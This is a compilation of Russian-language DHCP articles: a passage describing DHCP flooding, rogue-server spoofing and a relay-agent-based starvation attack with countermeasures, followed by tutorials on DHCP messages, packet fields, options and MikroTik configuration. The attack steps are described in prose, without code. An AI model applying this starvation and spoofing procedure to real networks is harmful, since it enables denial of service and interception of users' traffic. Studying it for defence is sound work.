Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:

Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.

В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.

Теперь поговорим о типах DHCP сообщений:


Value Message_Type
1 DHCPDISCOVER
2 DHCPOFFER
3 DHCPREQUEST
4 DHCPDECLINE
5 DHCPACK
6 DHCPNAK
7 DHCPRELEASE
8 DHCPINFORM

Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.

Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.

Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.


DHCP starvation & DHCP relay agent

В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.

Приведем пример:


  1. Наш сетевой интерфейс enp0s3 с MAC-адресом: 08:00:27:6a:82:5f и IP-адресом: 192.168.1.2. В качестве DHCP-сервера будет выступать Dnsmasq/2.73 из состава OpenWrt Chaos Calmer 15.05.1 IP-адрес: 192.168.1.1


  2. Начинаем отправку запросов:

Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!

Как это работает:


  1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.


  2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232


  3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.


  4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).


Выводы

Способы противодействия:


  1. DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;


  2. Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;


  3. Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;


  4. Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;


  5. Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;


  6. По возможности использовать статическую привязку MAC — IP на DHCP сервере;


  7. Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;


  8. Непрерывное обновления программного обеспечения. Обновить хосты можно и так 🙂

Что такое DHCP и как он работает? (Объяснение основных принципов)

Навеянно очень слабой подготовкой кандидатов на должность системного администратора, может быть чем больше информации будет в сети, тем гугл будет быстрее направлять специалистов на нужную информацию?! =))

Компьютерные сети бывают разных видов и конфигураций: локальные (LAN), глобальные (WAN) и т.д. Если вы подключаетесь к локальной LAN сети или интернету, компьютеру присваивается собственный IP адрес. Он помогает идентифицировать любое устройство, подключенное к сети. В большинстве случаев, когда вы подключаетесь к LAN или интернету, вы можете заметить, что IP и другая информация, например маска подсети, присваиваются автоматически. Задумывались вы, как это происходит? В этой статье мы попробуем разобрать концепцию DHCP, на которой основываются принципы данного процесса.

Что такое DHCP?

DHCP — это протокол динамической настройки узла.

Как можно понять из названия, DHCP предназначен для настройки хоста через удаленный сервер. DCHP поддерживается по умолчанию большинством современных операционных систем, и этот протокол выступает в качестве отличной альтернативы рутинной ручной настройке параметров сети для сервера или подключаемого устройства.

Данный протокол работает на основе модели «Клиент-сервер». Являясь протоколом, DHCP имеет свой собственный метод обмена сообщениями между клиентом и сервером. Ниже представлен состав сообщения DHCP:

Поле

Длина (байты)

Описание

op

1

Тип сообщения

htype

1

Тип адреса аппаратной части

hlen

1

Длина адреса аппаратной части

hops

1

Используемое количество агентов ретрансляции. Клиенты устанавливают значение на 0.

xid

4

ID  (уникальный идентификационный номер) транзакции используемой клиентом и серверов во время сессии

secs

2

Прошедшее время (в секундах) с момента запроса клиентом начала процесса

flags

2

Значение флагов

ciaddr

4

IP-адрес клиента (если имелся ранее).

yiaddr

4

IP-адрес, предложенный сервером клиенту

siaddr

4

IP-адрес сервера

giaddr

4

IP-адрес relay-агента (агента ретрансляции)

chaddr

16

Адрес аппаратной части клиента (в основном MAC).

sname

64

Имя сервера.

file

128

Название загрузочного файла.

options           

изменяемая

     Дополнительные опции

Знание основ DHCP помогает в устранении различных проблем с сетью. В следующей части статьи мы затронем принципы работы протокола.

Как работает DHCP?

Перед изучением самого процесса, с помощью которого достигается поставленная цель, необходимо понять различные принципы обмена информацией, которые используются в данном процессе.

DHCPDISCOVER

Это сообщение обозначает начало DHCP взаимодействия между клиентом и сервером. Данное сообщение отправляется клиентом (компьютером или устройством), подключенным к сети. В этом сообщении используется 255.255.255.255 как IP-адрес доставки, тогда как исходным адресом является 0.0.0.0

DHCPOFFER

Это сообщение отправляется в ответ на DHCPDISCOVER от сервера DHCP для подключенных клиентов. В этом сообщении содержатся необходимые сетевые настройки.

DHCPREQUEST

Данное сообщение является ответом на DHCPOFFER, и обозначает, что клиент принял отправленные настройки.

DHCPACK

Данное сообщение отправляется на сервер протокола DHCP в ответ на DHCPREQUEST от клиента. Сообщение обозначает конец процесса, начатого с сообщения DHCPDISCOVER. Т.е. DHCPACK — это не что иное, как подтверждение от сервера начала авторизации клиента и принятие параметров конфигурации, полученных в самом начале от сервера.

DHCPNAK

Данное сообщение является противоположностью DHCPACK, описанного выше. Оно отправляется на сервер в случае, если невозможно удовлетворить параметры DHCPREQUEST клиента.

DHCPDECLINE

Сообщение отправляется клиентом на сервер в случае, если IP-адрес, присваиваемый в DHCP уже используется.

DHCPINFORM

Сообщение отправляется серверу в том случае, если клиенту DHCP присвоен статический IP-адрес, а по настройкам конфигурации необходим динамический адрес.

DHCPRELEASE

Сообщение отправляется клиентов в том случае, если он завершает процесс использования сетевого адреса.

Теперь, когда мы познакомились с различными сообщениями в DHCP, можно изучить весь процесс работы, чтобы получить более полное представление. Шаги ниже описываются исходя из того, что все настройки установлены по умолчанию.

Шаг 1.

Когда клиент (компьютер или устройство) загружается или подключается к сети, серверу отправляется сообщение DHCPDISCOVER. Если нет никаких дополнительных данных о конфигурации, то сообщение отправляется с адреса 0.0.0.0 к 255.255.255.255. Если сервер DHCP находится в локальной подсети, то она напрямую получает сообщение, если он находится в другой подсети, то используется агент ретрансляции для передачи запроса к серверу DCHP. Используется протокол передачи UDP через порт 67. Клиент на данном этапе начинает стадию авторизации.

Шаг 2.

В тот момент как сервер получил запрос DHCPDISCOVER, то он отправляет в ответ сообщение DHCPOFFER. Как говорилось ранее, в этом сообщении содержатся все необходимые параметры конфигурации, запрашиваемые клиентом. Например, IP-адрес, необходимый клиенту, а также значение маски подсети и информация о шлюзе. Также сервер сразу заполняет значения MAC-адреса в поле CHADDR. Сообщение отправляется клиенту от адреса 255.255.255.255 напрямую, а если сервер находится в другой подсети, то используются агенты ретрансляции, который отвечает за то, чтобы сообщение было доставлено. В этом случае для передачи применяется протокол UDP через порт 68. На этом этапе клиент начинает подбирать параметры.

Шаг 3.

Клиент формирует сообщение DHCPREQUEST, которое служит ответом на DHCPOFFER от сервера, указав, что он принимает параметры конфигурации, отправленные ему. Если бы было несколько серверов DCHP, то клиент бы получил также несколько сообщений DHCPOFFER, но клиент отвечает только одному серверу, заполняя параметры конфигурации для настройки. Таким образом, он проходит авторизацию с получением IP-адреса от одного конкретного сервера DHCP. Все сообщение от других серверов блокируются. Сообщение DHCPREQUEST по-прежнему будет содержать адрес источника 0.0.0.0, если клиенту все еще нельзя использовать IP-адреса, полученные в сообщении DHCPOFFER. В течение этого этапа клиент получает ответы на свои запросы.

Шаг 4.

Как только сервер получает DHCPREQUEST от клиента, он посылает DHCPACK сообщение о том, что теперь клиент может использовать IP-адрес, назначенный к нему. Клиент окончательно подключается к сети и с настроенными параметрами.

Концепция аренды

В дополнении к остальной необходимой информации о том, как работает DHCP, следует также знать IP-адрес, назначенный в DHCP сервером в аренду клиенту. После истечения срока аренды сервер DHCP может свободно присвоить этот IP-адрес другому компьютеру или устройству, запрашивающему то же самое. Например, сохранение срока аренды 8-10 часов полезно для компьютеров, которые обычно выключают в конце дня. Поэтому аренда должна продлеваться время от времени. После истечения половины срока аренды, DCHP клиент обычно пытается автоматически продлить данный срок. Это делается путем обмена DHCPREQUEST и DHCPACK сообщениями. Благодаря этому начинается стадия обновления данных для клиента.

Сообщество сисадминов

Назначение и возможности протокола DHCP? Какие бывают опции в протоколе DHCP (DHCP options) и зачем они нужны?

Привет, посетитель сайта ZametkiNaPolyah.ru! Продолжаем изучать основы работы компьютерных сетей. В девятой части мы с вами будем разбираться с тем, как работает протокол DHCP (Dynamic Host Configuration Protocol) и зачем он вообще нужен? Эта запись как раз будет про назначение и возможности протокола DHCP, а также мы с вами рассмотрим DHCP опции и их назначение в протоколе. Как всегда, торопиться никуда не будем, сперва рассмотрим DHCP в общих чертах, а затем будем разбираться с частностями.

9.1.1 Введение

Содержание статьи:

В курсах ICND1 и ICND2 протокол DHCP рассматривается очень поверхностно, да и в целом Cisco размазала информацию об этом протоколе на треки разных направлений и по разным уровням. Мы же рассмотрим DHCP довольно подробно и, пожалуй, рассмотренной информации хватит не только для того, чтобы ответить на вопросы по DHCP, которые могут встретиться на экзамене CCNA R&S, но и на вопросы, которые могут быть на экзамене CCNP R&S.

9.1.2 Зачем нужен протокол DHCP и как он связан с протоколом IP?

В теме Протокол IPv4 мы говорили о статических и динамических IP-адресах, мы затронули самые основные моменты, касающиеся DHCP и его назначения, сейчас мы кратко вспомним то, что было рассмотрено ранее. Думаю, все прекрасно знают, что такой инструмент, как молоток, в основном используется для забивания гвоздей, то есть нам всем ясно зачем нужен молоток. Так давайте сперва выясним – зачем нам нужен протокол DHCP.

Протокол DHCP (Dynamic Host Configuration Protocol) или протокол динамического конфигурирования хостов нужен для автоматизации процесса настройки сетевых интерфейсов в компьютерной сети. Протокол DHCP с тем или иным успехом решает две глобальные задачи:

  1. Избавляет инженера от однотипной и монотонной работы по настройке IP-адресов, шлюзов, масок подсетей, адресов DNS-серверов и других необходимых параметров для работы устройства в компьютерной сети. При выполнении такой работы еще и легко ошибиться, ведь устройств может быть сотни, а то и тысячи.
  2. Протокол DHCP в какой-то мере, но не на 100%, защищает вашу сеть от такого неприятного явления как дублирование IP-адресов. При ручной настройке узлов компьютерной сети у вас может быть два подхода: либо вы ведете учет выданных IP-адресов и куда-нибудь записываете конфигурации ваших узлов, либо вы пускаете это дело на самотек и выдаете IP-адреса своим узлам, руководствуясь желанием своей левой пятки. В маленьких и очень маленьких сетях второй подход применим, а вот в больших сетях возникнут проблемы даже в том случае, когда вы будете вести строгий учет, проблемы возникнут именно с учетом, каждый новый IP-адрес в вашей учетной системе будет делать учет всё более сложным. Протокол DHCP позволяет избавиться от этого ручного учета, ведь DHCP-сервер будет запоминать те IP-адреса, которые он выдал, возможно, он будет запоминать даже кому он выдал тот или иной IP-адрес, чтобы затем выдать его вновь.

В этой теме мы будем разбираться с протоколом DHCP в связке с протоколом IPv4, хотя стоит заметить, что рассматривать DHCP без протокола IP вообще нет никакого смысла, просто дело всё в том, что DHCPv6 имеет несколько другие задачи, но это совсем другая история. Вообще, протокол DHCP, как и многие другие протоколы (например, NAT), возник из-за недостатков IPv4, дело в том, что в IPv4 нет механизма по автоматическому назначению IP-адресов на интерфейсы, а вот в IPv6 такой механизм уже имеется. То есть DHCP расширяет возможности IPv4 и делает жизнь сетевого инженера более простой и приятной, правда этому инженеру придется изучать как этот DHCP работает.

Также не стоит воспринимать DHCP, как протокол для выдачи IP настроек узлам сети, выдавать можно не только IP-адреса и маски, но еще и огромное множество параметров, параметры, которые DHCP-сервер может сообщать клиенту, называются опции, ниже мы о них поговорим, но сразу замечу, что мы разберемся только с механизмом работы опций, все опции перечислить я не смогу и более того, я их все не знаю, да и не очень хочется мне их знать, если честно.

Протокол DHCP был стандартизован в 1993 году и является наследником протокола BOOTP, это мы увидим, когда познакомимся со структурой сообщений в DHCP, кстати говоря, по схожему принципу с DHCP работает протокол RARP, но он нам совсем неинтересен. DHCP описан в спецификации RFC 2131.

9.1.3 Режимы работы DHCP сервера

Куда важнее понимать режимы работы DHCP-сервера, чтобы он работал так, как вам хочется, а не так, как получается. Эта тема для нас не нова, поэтому здесь я буду краток.

  1. Ручное назначение статических IP-адресов.
  2. Автоматическое назначение статических адресов.
  3. Автоматическое распределение динамических адресов.

Третий режим работы DHCP-сервера в списке самый популярный. Во всех трех режимах работы администратор должен сообщить серверу диапазоны или пулы IP-адресов, которые тот будет выдавать клиентскому оборудованию, каждый диапазон IP-адресов должен быть из одной подсети, то есть в одном диапазоне не может быть адресов из разных подсетей. Давайте дадим описание каждому из этих режимов.

Ручной режим работы DHCP-сервера. Этот режим работы не очень сильно отличается от статической настройки клиентских устройств. Разница лишь в том, что администратор не бегает по всей сети и все настройки производит на DHCP-сервере. В таком режиме серверу нужно задать жесткое соответствие между IP-адресами и MAC-адресами. Устройство с одним конкретным мак-адресом всегда будет получать один и тот же IP-адрес, если в базе данных DHCP-сервера нет мак-адреса или для мак-адреса не задан IP-адрес, то клиент настройки не получит.

Автоматическое назначение статических адресов. Главной особенностью работы этого режима является то, что сервер выдает IP-адрес клиенту не на определенное время (в DHCP это время называется временем аренды или lease time), а навсегда. DHCP-сервер выдает клиенту IP-адрес без вмешательства администратора, при первом обращение клиента сервер его запоминает и затем постоянно выдает этому клиенту один и тот же IP-адрес.

Режим автоматического распределения динамических адресов. Это то, что нас больше всего интересует, самый гибкий и самый универсальный режим. В таком режиме сервер выдает IP-адрес клиенту не навсегда, а на строго определенное время, которое называется временем аренды, это время назначается администратором, когда время аренды будет истекать, клиент, если захочет, может его продлить, чтобы не менять IP-адрес. Тут стоит заметить, что в этом режиме адреса для клиентов тоже можно зафиксировать за конкретным клиентом, например, при помощи опции 82, но об этом позже.

У третьего режима есть один очень существенный плюс, этот плюс заключается в повторном использование IP-адресов, вот не нужен клиенту уже IP-адрес, он и сообщает об этом серверу, сервер его освобождает, а затем он может выдать этот адрес другому клиенту.

9.1.4 Опции DHCP протокола и зачем они нужны? Список стандартных DHCP опций

Вы уже, наверное, поняли, что протокол DHCP относится к группе протоколов, работающих по архитектуре клиент-север, DHCP относится к прикладному уровню моделей OSI 7 и TCP/IP, а сообщения DHCP инкапсулируются в UDP дейтаграммы, но сейчас речь не об этом. Сейчас нам нужно понять, что клиент делает запрос к серверу на получение параметров, необходимы для того, чтобы клиент мог получить полноценный доступ к ресурсам компьютерной сети, эти параметры называются DHCP опции. Если говорить грубо, то клиент просто сообщает серверу – какие опции ему необходимы, а сервер на основе каких-то своих критериев может принять решение – какие опции и с какими значениями нужно выдать клиенту, а может их вообще этому клиенту выдавать не нужно.

При этом стоит заметить, что опции DHCP могут быть стандартными, а могут быть и не стандартными и тут первый камень преткновения. Не все реализации DHCP-серверов, как и не все программные реализации DHCP-клиентов, поддерживают весь список стандартных опций, некоторые реализации DHCP имеют свои нестандартные опции, которые не поддерживаются другими реализациями и это всё может внести хаос в упорядоченный мир DHCP. Дело в том, что клиент может получить опцию, а сервер, соответственно, ее выдать, только в том, случае, если и клиент, и сервер понимают эту опцию и умеют с ней работать, что, собственно, логично.

Очевидная проблема, которая у вас может возникнуть: для подключения клиентского устройства к компьютерной сети нужна опция, с которой это устройство работать не умеет, ну вот не добавили поддержку этой опции производители и всё тут. Список стандартных DHCP опций описан в RFC 2132. Более того, для каждой стандартной опции есть свой RFC, который описывает – зачем эта опция нужна и как она должна работать.

Если говорить о самых часто используемых опциях DHCP, то вот вам небольшой список сейчас и в конце будет еще:

  • IP-адрес шлюза по умолчанию;
  • маска подсети;
  • адреса DNS-серверов;
  • имя домена DNS.

Для передачи опций между клиентом и сервером в DHCP пакете есть специальное поле переменной длинны, которое так и называется – options. Это поле имеет переменную длину, но при этом все остальные поля DHCP сообщения фиксированные. Если учесть, что и DHCP-клиент, и DHCP-сервер должны уметь обработать пакет размером 576 байт (576 байт взято не с потолка, а из ограничений некоторых старых протоколов), а также знать размер других полей в пакете, то нетрудно будет посчитать, что поле options имеет минимальную длину 340 байт. При этом самое поле options начинается с фиксированной последовательности Magic Cookie, которая выглядит так: 0×63825363. Можно сказать и по-другому, Magic Cookie – это четыре байта со значениями 99, 130, 83, 99. Как это не назови, но по этой последовательности устройство понимает, что фиксированная часть пакета закончилась и начались DHCP опции.

Кстати говоря, в DHCP пакете есть еще два необязательных поля, то есть в пакете есть пространство, вместо которого можно передавать опции – это поля file (64 байта) и snmae (128 байт). Что еще можно добавить про опции DHCP? Каждая стандартная опция имеет уникальный номер от 0 до 255, вернее правильнее будет говорить код, а не номер. У каждой опции есть размер, при этом у некоторых опций определен не строго фиксированный размер, а какие-то границы, в которых опция может плавать. Более подробную информацию о DHCP опциях вам придется смотреть в специальных RFC, дело всё в том, что некоторые опции должны начинаться, например, с нуля, некоторые опции нельзя использовать вместе, есть еще ряд других особенностей, в которые углубляться нам смысла сейчас нет.

Осталось лишь сказать, что поле опций в DHCP пакете всегда должно заканчиваться опцией с кодом 255, по этой опции устройства понимают, что это конец, больше опций не будет, да и сам DHCP пакет на этом закончился.

9.1.6 Список самых часто используемых DHCP опции

Ниже вы найдете таблицу, в которой перечислены самые часто используемые опции в DHCP, вероятность с ними столкнуться очень велика и я бы рекомендовал ознакомится с ними подробнее в соответствующих RFC.

КодНазваниеДлинаОписание опции
1Subnet Mask4Маска подсети
3Routerx4Перечисление доступных маршрутизаторов. Или проще говоря, IP-адреса доступных шлюзов по умолчанию, в сети их может быть несколько.
6Name Serverx4Перечисление доступных DNS серверов
12Host Name1+Символьное имя узла
23Default IP TTL1Позволяет задать TTL, которое обязан будет использовать клиент при отправке пакетов в сеть. При помощи этой опции можно ограничить доступ пользователям в сеть Интернет.
26Interface MTU2Если вам нужно чтобы все узлы использовали одинаковый MTU, то вот опция.
33Static IP Routex8Вы же помните, что когда-то сети были классовыми, изначально это поле было для выдачи маршрутов узлам в классовых сетях, поэтому для маски здесь место не нашлось. Сейчас, в эпоху VLSM и CIDR, при помощи этой опции можно выдавать узлам статические маршруты к удаленным сетям с маской /32.
35ARP Cache Timeout4У протокола ARP есть кэш, каждая операционная система хранит ARP кэш разное время, чтобы упорядочить этот хаос есть 35 опция DHCP, которая заставляет все узлы хранит ARP-записи одинаковое количество времени.
50Requested IP Address4Эту опцию использует клиент для того, чтобы сообщить серверу о том, какой IP-адрес он хочет получить.
55Parameter Request List1+При помощи этой опции DHCP-клиент сообщает серверу список опций, которые ему хочется получить.
61Client Identifier2+DHCP-сервер ведет сопоставление IP и MAC-адресов, он запоминает какому мак-адресу какой IP был назначен. Но вместо мак-адресов можно использовать идентификатор клиента.
66TFTP Server Name1+Название опции говорит само за себя.
82Я не знаю, как эта опция называется, а в RFC смотреть лень. Все инженеры вокруг меня просто говорят восемьдесят вторая опция.С этой опцией мы будем знакомиться отдельно, кратким описанием тут не отделаешься.
121Classless Route5+Этой опцией можно выдавать маршруты по умолчанию в бесклассовых сетях.
150TFTP Server IP Address4Тут тоже всё ясно из названия.
255End0Если опции в пакете есть, то эта опция является обязательной, она означает, что других опций уже не будет и это конец DHCP пакета.

9.1.7 Выводы

Это было знакомство с протоколом DHCP и его основными особенностями, вы, наверное, заметили, что вся самая важная информация в DHCP передается в виде опций, поле опции является довольно гибким инструментом для динамической конфигурации хостов.

[Конспект админа] Как подружиться с DHCP и не бояться APIPA / Сервер Молл corporate blog / Habr

Сервис, выдающий IP-адреса устройствам в локальной сети, кажется одним из самых простых и всем знакомых. Тем не менее у моих младших коллег до сих пор временами всплывают вопросы вроде «компьютер что-то получает какой-то странный адрес», а появление второго DHCP-сервера в одном сетевом сегменте вызывает некоторый трепет или проблемы в работе сети.

Чтобы у прочитавших этот материал такие вопросы не возникали, мне хотелось бы собрать в кучу основную информацию про работу механизмов выдачи адресов IP, особенности и примеры настройки отказоустойчивых и защищенных конфигураций. Да и возможно матерым специалистам будет интересно освежить нейронные связи.

Немного теории и решения интересных и не очень практических задач — под катом.

В современной локальной сети выдачей адресов обычно занимаются специализированные сервисы с поддержкой протоколов. Самым популярным из них является DHCP (Dynamic Host Configuration Protocol).


В принципе, специально для функционирования небольших сетей был создан стек технологий под названием Zeroconf. Он позволяет обойтись без каких-либо централизованных сервисов и серверов, включая, но не ограничиваясь выдачей IP-адресов. Им закрываются (ну, или почти закрываются) следующие вопросы:

Получение IP-адреса (Automatic Private IP Addressing или APIPA). Система сама назначает себе IP из сети 169.254.0.0/16 (кроме сеток /24 в начале и конце диапазона), основываясь на MAC-адресе и генераторе псевдослучайных чисел. Такая система позволяет избежать конфликтов, а адрес из этой сети называют link-local — в том числе и потому, что эти адреса не маршрутизируются.

Поиск по имени. Система анонсирует свое сетевое имя, и каждый компьютер работает с ним как с DNS, храня записи у себя в кэше. Apple использует технологию mDNS (Multicast DNS), а Microsoft — LLMNR (Link-local Multicast Name Resolution), упомянутую в статье «Домены, адреса и Windows: смешивать, но не взбалтывать».

Поиск сетевых сервисов. Например, принтеров. Пожалуй, самым известным протоколом является UPnP, который помимо прочего умеет сам открывать порты на роутерах. Протокол довольно сложен, в нем используется целый набор надстроек вроде использования http, в отличие от второго известного протокола — DNS-SD (DNS Service Discovery), который попросту использует SRV-записи, в том числе при работе mDNS.

При всех плюсах Zeroconf — без каких-либо сакральных знаний можно собрать рабочую сеть, просто соединив компьютеры на физическом уровне, — IT-специалистам он может даже мешать.

Немного раздражает, не так ли?

В системах Windows для отключения автонастройки на всех сетевых адаптерах необходимо создать параметр DWORD с именем IPAutoconfigurationEnabled в разделе HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters и поставить ему значение 0.

Разумеется, Zeroconf подходит разве что для небольших изолированных сетей (например, встретились с приятелем с ноутбуками, соединили их по Wi-Fi и давай играть Diablo II, не тратя время на какие-то сервера), да и выводить локальную сеть в интернет тоже хочется. Чтоб не мучаться со статическими настройками каждого компьютера, были созданы специальные протоколы, включая героя дня — DHCP.


Одна из первых реализаций протокола для выдачи IP-адресов появилась более 30 лет назад и называлась RARP (Reverse Address Resolution Protocol). Если немного упростить принцип его работы, то выглядело это так: клиент делал запрос на широковещательный адрес сети, сервер его принимал, находил в своей базе данных привязку MAC-адреса клиента и IP — и отправлял в ответ IP.

Схема работы RARP протокола.

И все вроде работало. Но у протокола были минусы: нужно было настраивать сервер в каждом сегменте локальной сети, регистрировать MAC-адреса на этом сервере, а передавать дополнительную информацию клиенту вообще не было возможности. Поэтому на смену ему был создан протокол BOOTP (Bootstrap Protocol).

Изначально он использовался для бездисковых рабочих станций, которым нужно было не только выдать IP-адрес, но и передать клиенту дополнительную информацию, такую, как адрес сервера TFTP и имя файла загрузки. В отличие от RARP, протокол уже поддерживал relay — небольшие сервисы, которые пересылали запросы «главному» серверу. Это сделало возможным использование одного сервера на несколько сетей одновременно. Вот только оставалась необходимость ручной настройки таблиц и ограничение по размеру для дополнительной информации. Как результат, на сцену вышел современный протокол DHCP, который является совместимым расширением BOOTP (DHCP-сервер поддерживает устаревших клиентов, но не наоборот).

Важным отличием от устаревших протоколов является возможность временной выдачи адреса (lease) и передачи большого количества разной информации клиенту. Достигается это за счет менее тривиальной процедуры получения адреса. Если в старых протоколах схема была простая, вида запрос-ответ, то теперь схема следующая:


  • Клиент ищет сервер широковещательным запросом, запрашивая в том числе и дополнительные настройки.
  • Сервер отвечает клиенту, предлагая ему IP-адрес и другие настройки.
  • Клиент подтверждает принятую информацию широковещательным запросом, указав в подтверждении IP-адрес выбранного сервера.
  • Сервер соглашается с клиентом, отправляя ему запрос, по получении которого клиент уже настраивает сетевой интерфейс или отвергает его.

Схема общения клиента с сервером пересылки и сервером.

Подробнее про схему взаимодействия сервера и клиента и про структуру запросов и ответов можно почитать, например, в материале «Структура, формат и назначение DHCP пакетов».


На нескольких собеседованиях меня спрашивали: «А какой транспорт и порт использует DHCP?» На всякий случай отвечаем: «Сервер UDP:67, клиент UDP:68».

С разными реализациями DHCP-сервера сталкивались многие, даже при настройке домашней сети. Действительно, сейчас сервер есть:


  • На практически любом маршрутизаторе, особенно SOHO.
  • На системах Windows Server. О сервере и его настройке можно почитать в официальной документации.
  • На системах *nix. Пожалуй, самое популярное ПО — ISC DHCP Server (dhcpd) и «комбайн» Dnsmasq.

Конкретных реализаций довольно много, но, например, на SOHO-маршрутизаторах настройки сервера ограничены. В первую очередь это касается дополнительных настроек, помимо классического «IP-адрес, маска, шлюз, сервер DNS». А как раз эти дополнительные опции и вызывают наибольший интерес в работе протокола. С полным списком можно ознакомиться в соответствующем RFC, я же разберу несколько интересных примеров.


В этом разделе я рассмотрю практическое применение опций DHCP на оборудовании MikroTik. Сразу обращу внимание на то, что не все опции задаются очевидно, формат параметров описан в wiki. Следует отметить также то, что опции клиент применяет, только когда сам их попросит. В некоторых серверах можно принудительно отправить настройки: например, в ISC DHCP Server за это отвечает директива dhcp-parameter-request-list, а в Dnsmasq —* *—dhcp-option-force. MikroTik и Windows такого не умеют.

Option 6 и Option 15. Начнем с простого. Настройка под номером 6 — это серверы DNS, назначаемые клиентам, 15 — суффикс DNS. Назначение суффикса DNS может быть полезным при работе с доменными ресурсами в недоменной сети, как я описывал в статье «Как мы сокращали персонал через Wi-Fi». Настройка MikroTik под спойлером.


Настройка MikroTik, option 15
#Добавляем опцию 15. содержимое — сконвертированный в HEX суффикс.

/ip dhcp-server option

add code=15 name=dns-suffix value=0x57687920616c6c207468697320736869743f

#создаем набор опций

/ip dhcp-server option sets

add name=dns option=dns-suffix

#Добавляем опцию к DHCP-серверу для клиентов.

/ip dhcp-server network

set [find comment="wi-fi client dhcp"] dhcp-option-set=dns

Знание, что сервер DNS — это тоже опция, недавно пригодилось мне, когда разным клиентам нужно было выдать разные серверы DNS. Решение вида «выдать один сервер и сделать разные правила dst-nat на 53 порт» не подходило по ряду причин. Часть конфигурации снова под спойлером.


Настройка MikroTik, option 6
#настройка опций, обратите внимание, что ip экранирован одинарными кавычками

/ip dhcp-server option

add code=6 name=google value="'8.8.8.8'"

add code=6 name=cloudflare value="'1.1.1.1'"

#настройка клиентов

/ip dhcp-server lease

add address=10.0.0.2 dhcp-option=google mac-address=11:11:11:11:11:11 server=dhcp

add address=10.0.0.3 dhcp-option=cloudflare mac-address=22:22:22:22:22:22 server=dhcp

Option 66 и Option 67. Эти настройки пришли еще с BOOTP и позволяют указать TFTP-сервер и образ для сетевой загрузки. Для небольшого филиала довольно удобно установить туда микротик и бездисковые рабочие станции и закинуть на маршрутизатор подготовленный образ какого-нибудь ThinStation. Пример настройки DHCP:

/ip dhcp-server option

add name="option66" code=66 value="s'192.168.88.1'"

add name="option67" code=67 value="'pxelinux.0'"

/ip dhcp-server option sets

add name="set-pxe" options=option66,option67

Option 121 и Option 249. Используются для передачи клиенту дополнительных маршрутов, что может быть в ряде случаев удобнее, чем прописывать маршруты на шлюзе по умолчанию. Настройки практически идентичные, разве что клиенты Windows предпочитают вторую. Для настройки параметра маршруты надо перевести в шестнадцатеричный вид, собрав в одну строку маску сети назначения, адрес сети и шлюз. Также, по RFC, необходимо добавить и маршрут по умолчанию. Вариант настройки — под спойлером.


Настройка маршрутов

Предположим, нам нужно добавить клиентам маршрут вида dst-address=10.0.0.0/24 gateway=192.168.88.2, а основным шлюзом будет 192.168.88.1. Приведем это все в HEX:


Соберем все это счастье в одну строку и получим настройку:

